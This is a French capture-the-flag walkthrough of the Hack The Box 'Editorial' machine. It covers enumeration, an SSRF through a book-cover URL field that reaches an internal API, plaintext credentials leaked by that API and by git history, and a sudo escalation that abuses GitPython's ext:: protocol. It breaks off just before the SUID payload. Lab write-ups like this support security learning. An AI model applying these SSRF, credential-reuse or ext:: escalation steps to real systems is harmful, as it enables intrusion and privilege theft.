Introduction
Editorial est une machine Hack The Box Easy orientée Linux qui met en avant une exploitation Server-Side Request Forgery (SSRF) sur une fonctionnalité d’upload de couverture. L’objectif est de comprendre comment une URL fournie par l’utilisateur peut amener le serveur à interroger des services internes normalement invisibles depuis l’extérieur.
La prise de pied commence par l’analyse de l’application web exposée en HTTP. Le formulaire d’upload accepte une URL de couverture, que l’application tente ensuite de récupérer côté serveur. Ce comportement permet de confirmer une SSRF, puis d’énumérer l’environnement local de la machine jusqu’à découvrir une API interne.
Cette API expose des informations sensibles qui permettent d’obtenir un premier accès SSH avec l’utilisateur dev. À partir de là, l’exploration du répertoire personnel révèle un dépôt Git local dont l’historique contient d’anciens identifiants encore utiles pour accéder à l’utilisateur prod.
L’escalade de privilèges repose ensuite sur une règle sudo autorisant l’exécution d’un script Python avec les droits root. Ce script utilise GitPython pour cloner un dépôt, mais l’option protocol.ext.allow=always permet d’abuser du protocole ext:: afin de lancer une commande locale avec les privilèges root.
Au final, ce walkthrough Editorial HTB Easy montre une chaîne d’exploitation complète : SSRF, découverte d’une API interne, réutilisation d’identifiants, puis escalade Linux via sudo, GitPython et le protocole ext.
Énumération
Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète.
C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables.
Concrètement, l’objectif de cette phase d’énumération est d’identifier :
- quels ports sont ouverts
- quels services sont accessibles
- si une application web est présente
- quels répertoires sont exposés
- si des sous-domaines ou vhosts peuvent être exploités
Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants :
- mon-nmap : identifie les ports ouverts et les services en écoute
- mon-recoweb : énumère les répertoires et fichiers accessibles via le service web
- mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts
Tu retrouves ces outils dans la section Outils / Mes scripts.
Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist.
Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans :
/usr/share/wordlists/htb-dns-vh-5000.txt
Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box.
Avant de lancer les scans, vérifie que le nom d’hôte editorial.htb résout correctement vers l’adresse IP de la cible.
Sur HTB, cela passe généralement par une entrée dans /etc/hosts.
- Ajoute l’entrée
10.129.x.x editorial.htbdans/etc/hosts.
sudo nano /etc/hosts
- Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés :
mon-nmap editorial.htb
# Résultats dans le répertoire scans_nmap/
# - scans_nmap/full_tcp_scan.txt
# - scans_nmap/enum_ftp_smb_scan.txt
# - scans_nmap/aggressive_vuln_scan.txt
# - scans_nmap/cms_vuln_scan.txt
# - scans_nmap/udp_vuln_scan.txt
Scan initial
Le scan TCP complet (scans_nmap/full_tcp_scan.txt) montre les ports ouverts suivants :
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/full_tcp_scan.txt editorial.htb
Nmap scan report for editorial.htb (10.129.x.x)
Host is up (0.0090s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 7.99 seconds
Scan FTP/SMB (si services détectés)
Après le scan initial, le script enchaîne automatiquement avec une phase d’énumération ciblée FTP/SMB si l’un des services suivants est détecté :
- FTP sur le port 21
- SMB sur le port 139 et/ou 445
Les résultats sont enregistrés dans (scans_nmap/enum_ftp_smb_scan.txt) :
# mon-nmap — ENUM FTP / SMB
# Target : editorial.htb
# Date : [date]
Aucun service FTP (21) ni SMB (139/445) détecté.
Ports ouverts détectés : 22,80
Scan agressif
Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités.
Ce scan fournit des informations détaillées sur les services et versions détectés.
Les résultats sont enregistrés dans (scans_nmap/aggressive_vuln_scan.txt) :
[+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour editorial.htb
[+] Commande utilisée :
nmap -Pn -A -sV -p"22,80" --script="(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 "editorial.htb"
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,80 "--script=(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 -oN scans_nmap/aggressive_vuln_scan_raw.txt editorial.htb
Nmap scan report for editorial.htb (10.129.x.x)
Host is up (0.015s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 61.03 ms 10.10.x.1
2 7.51 ms editorial.htb (10.129.x.x)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 10.19 seconds
Scan ciblé CMS
Le script exécute ensuite un scan ciblé CMS (scans_nmap/cms_vuln_scan.txt).
# Nmap 7.99 scan initiated {[date]} as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,80 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/cms_vuln_scan.txt editorial.htb
Nmap scan report for editorial.htb (10.129.x.x)
Host is up (0.014s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-sitemap-generator:
| Directory structure:
| /
| Other: 3
| /static/css/
| css: 1
| /static/images/
| jpeg: 1; jpg: 2
| Longest directory structure:
| Depth: 2
| Dir: /static/images/
| Total files found (by extension):
|_ Other: 3; css: 1; jpeg: 1; jpg: 2
|_http-title: Editorial Tiempo Arriba
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
| http-headers:
| Server: nginx/1.18.0 (Ubuntu)
| Date: [date]
| Content-Type: text/html; charset=utf-8
| Content-Length: 8577
| Connection: close
|
|_ (Request type: HEAD)
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 37.36 seconds
Scan UDP rapide
Le script lance également un scan UDP rapide afin de détecter d’éventuels services supplémentaires (scans_nmap/udp_vuln_scan.txt).
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/udp_vuln_scan.txt editorial.htb
Nmap scan report for editorial.htb (10.129.x.x)
Host is up (0.012s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp open|filtered tftp
123/udp closed ntp
135/udp closed msrpc
137/udp open|filtered netbios-ns
138/udp closed netbios-dgm
139/udp open|filtered netbios-ssn
161/udp closed snmp
162/udp open|filtered snmptrap
445/udp open|filtered microsoft-ds
500/udp closed isakmp
514/udp closed syslog
520/udp closed route
631/udp closed ipp
1434/udp open|filtered ms-sql-m
1900/udp open|filtered upnp
4500/udp closed nat-t-ike
49152/udp closed unknown
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 8.13 seconds
Énumération des chemins web
Pour la découverte des chemins web, tu peux utiliser le script dédié mon-recoweb
mon-recoweb editorial.htb
# Résultats dans le répertoire scans_recoweb/
# - scans_recoweb/RESULTS_SUMMARY.txt ← vue d’ensemble des découvertes
# - scans_recoweb/dirb.log
# - scans_recoweb/dirb_hits.txt
# - scans_recoweb/ffuf_dirs.txt
# - scans_recoweb/ffuf_dirs_hits.txt
# - scans_recoweb/ffuf_files.txt
# - scans_recoweb/ffuf_files_hits.txt
# - scans_recoweb/ffuf_dirs.json
# - scans_recoweb/ffuf_files.json
Le fichier RESULTS_SUMMARY.txt regroupe les chemins découverts, sans parcourir l’ensemble des logs générés.
===== mon-recoweb — RÉSUMÉ DES RÉSULTATS =====
Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb
Script : mon-recoweb v2.2.3
Cible : editorial.htb
Périmètre : /
Date début : [date]
Commandes exécutées (exactes) :
[dirb — découverte initiale]
dirb http://editorial.htb/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/editorial.htb/dirb.log
[ffuf — énumération des répertoires]
ffuf -u http://editorial.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/editorial.htb/ffuf_dirs.json 2>&1 | tee scans_recoweb/editorial.htb/ffuf_dirs.log
[ffuf — énumération des fichiers]
ffuf -u http://editorial.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/editorial.htb/ffuf_files.json 2>&1 | tee scans_recoweb/editorial.htb/ffuf_files.log
Processus de génération des résultats :
- Les sorties JSON produites par ffuf constituent la source de vérité.
- Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse).
- Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP.
- Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé).
- Les résultats sont normalisés sous la forme :
http://cible/chemin (CODE:xxx|SIZE:yyy)
- Les chemins sont ensuite classés par type :
• répertoires (/chemin/)
• fichiers (/chemin.ext)
- Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel,
garantissant la reproductibilité complète du scan.
----------------------------------------------------
=== Résultat global (agrégé) ===
http://editorial.htb/about (CODE:200|SIZE:2939)
http://editorial.htb/about/ (CODE:200|SIZE:2939)
http://editorial.htb/upload (CODE:200|SIZE:7140)
http://editorial.htb/upload/ (CODE:200|SIZE:7140)
=== Détails par outil ===
[DIRB]
http://editorial.htb/about (CODE:200|SIZE:2939)
http://editorial.htb/upload (CODE:200|SIZE:7140)
[FFUF — DIRECTORIES]
http://editorial.htb/about/ (CODE:200|SIZE:2939)
http://editorial.htb/upload/ (CODE:200|SIZE:7140)
[FFUF — FILES]
Recherche de vhosts
Enfin, tu peux tester la présence de vhosts à l’aide du script mon-subdomains .
=== mon-subdomains editorial.htb START ===
Script : mon-subdomains
Version : mon-subdomains 2.0.1
Date : [date]
Domaine : editorial.htb
IP : 10.129.x.x
Mode : large
Master : /usr/share/wordlists/htb-dns-vh-5000.txt
Codes : 200,301,302,401,403 (strict=1)
VHOST totaux : 0
- (aucun)
--- Détails par port ---
Port 80 (http)
Baseline#1: code=301 size=178 words=12 (Host=do18sxxyud.editorial.htb)
Baseline#2: code=301 size=178 words=12 (Host=24ohzw4lfu.editorial.htb)
Baseline#3: code=301 size=178 words=12 (Host=s4friiwds1.editorial.htb)
After-redirect#1: code=200 size=8577 words=589
After-redirect#2: code=200 size=8577 words=589
After-redirect#3: code=200 size=8577 words=589
VHOST (0)
- (aucun)
=== mon-subdomains editorial.htb END ===
Si aucun vhost distinct n’est identifié, ce fichier confirme l’absence de résultats supplémentaires.
Prise pied
L’énumération web a montré que la page /upload/ permet de proposer un livre à la plateforme Editorial.

La page contient plusieurs champs classiques : nom du livre, description, raison du choix de l’éditeur, email et téléphone de contact.
Mais le point le plus intéressant se trouve en haut du formulaire : l’application permet de fournir une URL de couverture dans le champ Cover URL related to your book or....
Ce fonctionnement mérite d’être testé attentivement.
En effet, lorsqu’une application accepte une URL fournie par l’utilisateur, puis tente elle-même de récupérer la ressource distante, il faut envisager une vulnérabilité de type SSRF.
Une SSRF permet de forcer le serveur web à effectuer une requête HTTP à ta place, parfois vers des services internes normalement inaccessibles depuis l’extérieur.
Ici, l’objectif est donc de vérifier si le serveur Editorial va réellement contacter l’URL que tu fournis dans le champ de couverture.
Test SSRF avec une image distante
Pour commencer, tu peux vérifier le comportement normal attendu.
Depuis ton Kali, tu prépares une image de test dans un répertoire accessible, puis tu l’exposes avec un petit serveur HTTP :
python3 -m http.server 8000
Ensuite, dans le champ Cover URL, tu indiques une URL pointant vers ton Kali :
http://10.10.1x.x:8000/test.jpg
Tu cliques ensuite sur le bouton Preview.
Si l’application tente de récupérer l’image, ton serveur HTTP sur Kali reçoit une requête. Cela confirme que ce n’est pas ton navigateur qui va directement chercher l’image, mais bien le serveur web distant.
Une fois l’aperçu généré, tu peux cliquer sur l’image affichée puis choisir Open Image in New Tab dans le navigateur.
Cette étape est pratique pour deux raisons :
- elle permet de confirmer que l’image a bien été récupérée par l’application ;
- elle permet de sauvegarder localement le fichier généré ou renvoyé par le serveur sur ton Kali pour l’analyser plus facilement.
À ce stade, le comportement observé est compatible avec une SSRF : l’application accepte une URL externe, la traite côté serveur, puis renvoie le résultat dans la page.
Recherche d’une API interne avec la SSRF
Maintenant que le comportement SSRF est confirmé, tu peux détourner le mécanisme de prévisualisation de couverture pour interroger des services accessibles depuis la machine cible elle-même.
L’idée est simple : au lieu de demander au serveur Editorial d’aller chercher une image sur ton Kali, tu lui demandes d’aller interroger une adresse locale comme 127.0.0.1.
Depuis l’extérieur, Nmap ne montre que les ports exposés publiquement. Mais une application web peut aussi communiquer avec des services internes, uniquement accessibles en local depuis la machine.
Tu peux donc tester des URLs de ce type dans le champ Cover URL :
http://127.0.0.1/
http://127.0.0.1:5000/
http://127.0.0.1:8000/
http://localhost:5000/
http://localhost:8000/
Tu commences par le port 5000, car il est très souvent utilisé par des applications web internes, notamment des applications Python avec Flask ou Werkzeug.
Dans le contexte d’une application web, c’est donc un excellent premier candidat à tester lorsqu’une SSRF permet d’interroger 127.0.0.1.
Dans le champ Cover URL, tu indiques par exemple :
http://127.0.0.1:5000/
Puis tu cliques sur Preview.
Si le serveur interne répond, l’application Editorial récupère la réponse à ta place et l’affiche sous forme de prévisualisation. Tu peux ensuite cliquer sur le résultat affiché, puis choisir Open Image in New Tab pour ouvrir directement la ressource générée dans un nouvel onglet.
Cette méthode permet de mieux observer la réponse renvoyée par le service interne, et éventuellement de sauvegarder le résultat sur ton Kali pour l’analyser plus confortablement.
Dans ce cas, le test sur 127.0.0.1:5000 renvoie une réponse JSON :
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
Ce résultat confirme deux choses importantes :
- un service web interne écoute bien sur le port
5000; - ce service expose une API interne qui n’est pas directement accessible depuis l’extérieur.
La SSRF devient donc réellement exploitable. Elle ne sert plus seulement à prouver que le serveur peut charger une URL distante : elle permet maintenant de cartographier une surface d’attaque interne normalement invisible.
Découverte de l’API interne
La réponse obtenue sur 127.0.0.1:5000 ressemble à une documentation minimale de l’API.
Elle ne donne pas encore directement un secret ou un identifiant, mais elle fournit plusieurs routes internes à tester avec la même méthode SSRF.
Les endpoints les plus intéressants sont :
/api/latest/metadata/messages/promos
/api/latest/metadata/messages/coupons
/api/latest/metadata/messages/authors
/api/latest/metadata/messages/how_to_use_platform
/api/latest/metadata/changelog
/api/latest/metadata
À partir de là, tu peux reprendre exactement le même principe : placer une URL interne complète dans le champ Cover URL, cliquer sur Preview, puis ouvrir le résultat dans un nouvel onglet.
Par exemple :
http://127.0.0.1:5000/api/latest/metadata/messages/authors
ou encore :
http://127.0.0.1:5000/api/latest/metadata/changelog
L’objectif est d’identifier une route qui révèle plus d’informations que prévu : message interne, fichier de configuration, note de développement, identifiant oublié ou indication sur une autre ressource à explorer.
Dans ce type de scénario, il faut lire chaque endpoint comme une petite pièce du puzzle. Les routes promos ou coupons peuvent sembler peu sensibles, mais les routes liées aux auteurs, à l’utilisation de la plateforme ou au changelog sont souvent plus intéressantes, car elles peuvent contenir des informations de développement ou des messages internes.
Récupération d’identifiants SSH via l’endpoint authors
Parmi les endpoints découverts, la route liée aux nouveaux auteurs mérite une attention particulière :
http://127.0.0.1:5000/api/latest/metadata/messages/authors
Tu la testes donc avec la même méthode que précédemment : tu places cette URL dans le champ Cover URL, tu cliques sur Preview, puis tu ouvres le résultat dans un nouvel onglet avec Open Image in New Tab.
Cette fois, la réponse obtenue est beaucoup plus sensible :
{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}
La réponse contient un modèle de message de bienvenue destiné aux nouveaux auteurs. Le problème est que ce modèle inclut des identifiants en clair :
Username: dev
Password: dev080217_devAPI!@
Cette information confirme que l’API interne ne devrait pas être accessible depuis l’extérieur. Elle contient des données prévues pour un usage interne, mais la SSRF permet de les récupérer indirectement.
À ce stade, la vulnérabilité SSRF a donc permis de passer de :
champ URL public
→ requête serveur vers 127.0.0.1
→ API interne sur le port 5000
→ endpoint authors
→ identifiants dev
Ces identifiants doivent maintenant être testés sur les services accessibles depuis l’extérieur, en particulier SSH puisque le port 22 est ouvert.
Connexion SSH avec l’utilisateur dev
Les identifiants récupérés via l’API interne peuvent maintenant être testés sur les services exposés par la machine.
Comme le port SSH est ouvert, tu tentes une connexion avec l’utilisateur dev :
ssh dev@editorial.htb
Avec le mot de passe récupéré dans l’endpoint authors, la connexion réussit :
dev@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-107-generic x86_64)
Tu obtiens alors un premier accès utilisateur sur la machine :
dev@editorial:~$ id
uid=1001(dev) gid=1001(dev) groups=1001(dev)
Tu obtiens donc la Prise pied sur la machine.
La SSRF a permis d’accéder à une API interne, puis de récupérer des identifiants SSH valides pour l’utilisateur dev.
user.txt
Une fois connecté, tu commences par observer le contenu du répertoire personnel de dev :
dev@editorial:~$ ls -la
drwxr-x--- 4 dev dev 4096 May 27 16:20 .
drwxr-xr-x 4 root root 4096 Jun 5 2024 ..
drwxrwxr-x 3 dev dev 4096 Jun 5 2024 apps
lrwxrwxrwx 1 root root 9 Feb 6 2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev dev 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 dev dev 3771 Jan 6 2022 .bashrc
drwx------ 2 dev dev 4096 Jun 5 2024 .cache
-rw------- 1 dev dev 20 May 27 16:20 .lesshst
-rw-r--r-- 1 dev dev 807 Jan 6 2022 .profile
-rw-r----- 1 root dev 33 May 27 09:40 user.txt
Depuis la session SSH obtenue avec l’utilisateur dev, tu peux lire le flag utilisateur :
dev@editorial:~$ cat user.txt
94aexxxxxxxxxxxxxxxxxxxxxxxxb415
Tu as maintenant terminé la prise pied : la vulnérabilité SSRF a permis d’accéder à une API locale, puis à des informations de développement sensibles, jusqu’à l’obtention d’un accès SSH valide sur la machine.
Escalade de privilèges
Une fois connecté en SSH en tant que dev, tu disposes d’un premier accès utilisateur sur la machine.
L’escalade de privilèges consiste à identifier une commande, un script ou un service exécuté par root que l’utilisateur courant peut influencer pour obtenir une session root.
Comme dans tous mes writeups, et conformément à la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » , l’escalade de privilèges commence par une phase d’énumération méthodique :
- vérification des droits sudo avec
sudo -lafin d’identifier des commandes exécutables avec les privilègesroot - recherche de binaires SUID avec
find / -perm -4000 2>/dev/null(les binaires SUID s’exécutent avec les privilèges de leur propriétaire, souventroot) - analyse des Linux capabilities avec
getcap -r / 2>/dev/nullpython3 suid3num.pyafin d’identifier des binaires disposant de privilèges élevés, puis vérification de leur exploitabilité sur GTFOBins
- inspection des tâches cron avec
cat /etc/crontabafin de repérer d’éventuels scripts ou commandes exécutés automatiquement parroot - analyse des services locaux avec
netstat -tulpnpour identifier d’éventuels services internes accessibles uniquement en local - observation des processus exécutés par
rootavecpspy64(dans une deuxième session SSH) afin de détecter des scripts ou tâches planifiées lancés automatiquement
L’objectif de cette approche n’est pas de tester des exploits au hasard, mais d’identifier une faiblesse logique ou une mauvaise configuration exploitable pour progresser vers root.
Si ces vérifications manuelles ne révèlent rien d’exploitable, tu peux alors passer à une énumération automatisée avec linpeas.sh. Cet outil effectue une analyse beaucoup plus exhaustive du système. Il est plus complet, mais aussi plus lourd, et produit souvent beaucoup d’informations qu’il faudra ensuite trier et analyser.
Exploration du contexte utilisateur
Une fois le flag utilisateur récupéré, tu ne disposes pas encore de privilèges élevés sur la machine.
L’étape suivante consiste donc à explorer le contexte de l’utilisateur dev afin d’identifier des fichiers, dépôts, scripts ou configurations pouvant révéler une piste vers un autre utilisateur ou vers root.
Le listing du répertoire personnel de dev, effectué juste après la connexion SSH, montrait aussi la présence d’un dossier apps.
Ce dossier mérite maintenant une analyse plus attentive, car il peut contenir du code applicatif, des fichiers de configuration ou des traces de développement liées à l’API interne découverte pendant la prise pied.
Tu entres dans le répertoire :
cd apps
Découverte du dépôt Git
Dans le répertoire apps, tu remarques la présence d’un dépôt Git :
dev@editorial:~/apps$ ls -la
drwxrwxr-x 3 dev dev 4096 Jun 5 2024 .
drwxr-x--- 4 dev dev 4096 May 27 16:20 ..
drwxrwxr-x 8 dev dev 4096 Jun 5 2024 .git
C’est un élément important.
Un répertoire .git contient l’historique d’un dépôt Git : commits, branches, messages, anciennes versions de fichiers et parfois des informations supprimées de la version actuelle du projet.
Dans un contexte de CTF, mais aussi dans un audit réel, c’est une piste classique : un mot de passe ou un secret peut avoir été supprimé du code actuel, tout en restant présent dans un ancien commit.
Pour travailler plus confortablement, tu peux cloner le dépôt sur ton Kali plutôt que de l’analyser directement sur la machine cible.
L’objectif est d’obtenir une copie locale du dépôt afin de pouvoir utiliser tranquillement les commandes Git depuis Kali, sans modifier les fichiers présents dans le répertoire de l’utilisateur dev.
Clonage du dépôt apps sur Kali
Depuis ton Kali, tu peux cloner le dépôt distant en passant par SSH :
git clone ssh://dev@editorial.htb/home/dev/apps apps_editorial
Le dernier argument, apps_editorial, est simplement le nom du dossier local créé sur Kali.
Ce nom ne vient pas de la machine cible. Il sert uniquement à ranger proprement la copie du dépôt apps récupéré depuis Editorial.
Après avoir saisi le mot de passe de l’utilisateur dev, Git récupère le dépôt :
Cloning into 'apps_editorial'...
dev@editorial.htb's password:
remote: Enumerating objects: ...
remote: Counting objects: ...
remote: Compressing objects: ...
Receiving objects: ...
Resolving deltas: ...
Tu peux ensuite entrer dans la copie locale :
cd apps_editorial
À partir de maintenant, l’analyse se fait directement sur Kali.
Tu peux vérifier l’état du dépôt :
git status
Puis afficher l’historique des commits :
git log --oneline
Cette méthode est plus confortable : tu disposes d’une copie locale complète, tu peux parcourir l’historique, inspecter les commits et rechercher des chaînes intéressantes sans travailler directement sur la cible.
Analyse de l’historique Git
Depuis la copie locale du dépôt sur Kali, tu affiches l’historique des commits :
git log --oneline
8ad0f31 (HEAD -> master) fix: bugfix in api port endpoint
dfef9f2 change: remove debug and update api port
b73481b change(api): downgrading prod to dev
1e84a03 feat: create api to editorial info
3251ec9 feat: create editorial app
L’historique est court, ce qui facilite l’analyse.
Plusieurs messages de commit attirent l’attention :
fix: bugfix in api port endpointchange: remove debug and update api portchange(api): downgrading prod to dev
Les deux premiers indiquent des modifications autour d’un endpoint et du port de l’API. Cela correspond directement à ce que tu as exploité avec la SSRF sur 127.0.0.1:5000.
Le commit le plus intéressant est toutefois :
b73481b change(api): downgrading prod to dev
Le message suggère qu’un changement a été effectué entre un environnement prod et un environnement dev, ou entre un utilisateur prod et un utilisateur dev.
Dans un dépôt Git, ce type de modification mérite toujours d’être inspecté, car il peut révéler une ancienne valeur remplacée, par exemple un identifiant, un mot de passe, une URL interne ou une configuration sensible.
Extraction d’identifiants depuis l’historique Git
Tu inspectes le commit b73481b, repéré dans l’historique :
git show b73481b
Le commit porte le message suivant :
change(api): downgrading prod to dev
* To use development environment.
Ce message confirme que le commit remplace une configuration de production par une configuration de développement.
Dans la sortie de git show, Git affiche les différences entre l’ancienne version et la nouvelle version du fichier app_api/app.py.
La partie importante se trouve dans la fonction liée au message de bienvenue des nouveaux auteurs :
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
return jsonify({
- 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
}) # TODO: replace dev credentials when checks pass
La ligne supprimée, marquée avec -, contient les anciens identifiants de production :
Username: prod
Password: 080217_Producti0n_2023!@
La ligne ajoutée, marquée avec +, correspond aux identifiants de développement que tu avais déjà récupérés via l’API interne :
Username: dev
Password: dev080217_devAPI!@
C’est exactement le type d’information que l’on cherche dans un historique Git.
Même si les identifiants prod ne sont plus présents dans la version actuelle de l’application, ils restent visibles dans un ancien commit. Le commit a bien remplacé les identifiants de production par des identifiants de développement, mais il n’a pas effacé l’information sensible de l’historique.
Le commentaire situé à la fin du bloc est également intéressant :
# TODO: replace dev credentials when checks pass
Il indique que les identifiants de développement étaient censés être temporaires. Cela renforce l’idée que les anciens identifiants prod peuvent encore être valides sur la machine.
La prochaine étape consiste donc à tester ces identifiants pour effectuer un mouvement latéral vers l’utilisateur prod.
Mouvement latéral vers l’utilisateur prod
Tu testes les identifiants récupérés dans l’historique Git avec SSH :
ssh prod@editorial.htb
Avec le mot de passe trouvé dans l’ancien commit, la connexion réussit :
prod@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-107-generic x86_64)
Tu vérifies ensuite l’identité de l’utilisateur courant :
prod@editorial:~$ id
uid=1000(prod) gid=1000(prod) groups=1000(prod)
Tu as maintenant effectué un mouvement latéral de dev vers prod.
Ce changement d’utilisateur est important : l’utilisateur dev a permis d’obtenir le premier accès SSH et de lire user.txt, mais l’historique Git a révélé un second compte local, prod, qui dispose potentiellement de permissions différentes.
Vérification des droits sudo
Une fois connecté en tant que prod, tu reprends l’énumération Linux classique. La première vérification consiste à regarder si ce nouvel utilisateur dispose de droits sudo différents de ceux de dev :
sudo -l
Le résultat montre que prod peut exécuter un script Python avec les privilèges root :
User prod may run the following commands on editorial:
(root) NOPASSWD: /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
Cette règle sudo est intéressante pour deux raisons :
- l’utilisateur
prodpeut exécuter le script sans mot de passe ; - le script accepte un argument fourni par l’utilisateur.
Tu affiches ensuite le contenu du script pour comprendre son fonctionnement :
cat /opt/internal_apps/clone_changes/clone_prod_change.py
Le script utilise GitPython pour cloner un dépôt depuis une URL fournie en argument :
#!/usr/bin/python3
import sys
from git import Repo
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
Le point sensible se trouve dans l’appel à clone_from().
Le script autorise explicitement le protocole externe de Git avec l’option suivante :
-c protocol.ext.allow=always
Cette option est le point faible du script.
Le script est censé recevoir une URL de dépôt Git à cloner. Mais avec protocol.ext.allow=always, Git accepte aussi les URLs de type ext::.
Dans ce format, ce qui suit ext:: peut être interprété comme une commande à lancer.
Comme le script Python est exécuté avec sudo, cette commande s’exécute avec les privilèges root.
L’exploitation consiste donc à fournir une valeur ext:: qui lance ton propre script.
Création d’un Bash SUID avec Git ext::
Pour exploiter cette configuration, tu prépares d’abord un petit script dans /tmp.
Ce script copie /bin/bash vers /tmp/rootbash, puis ajoute le bit SUID sur cette copie :
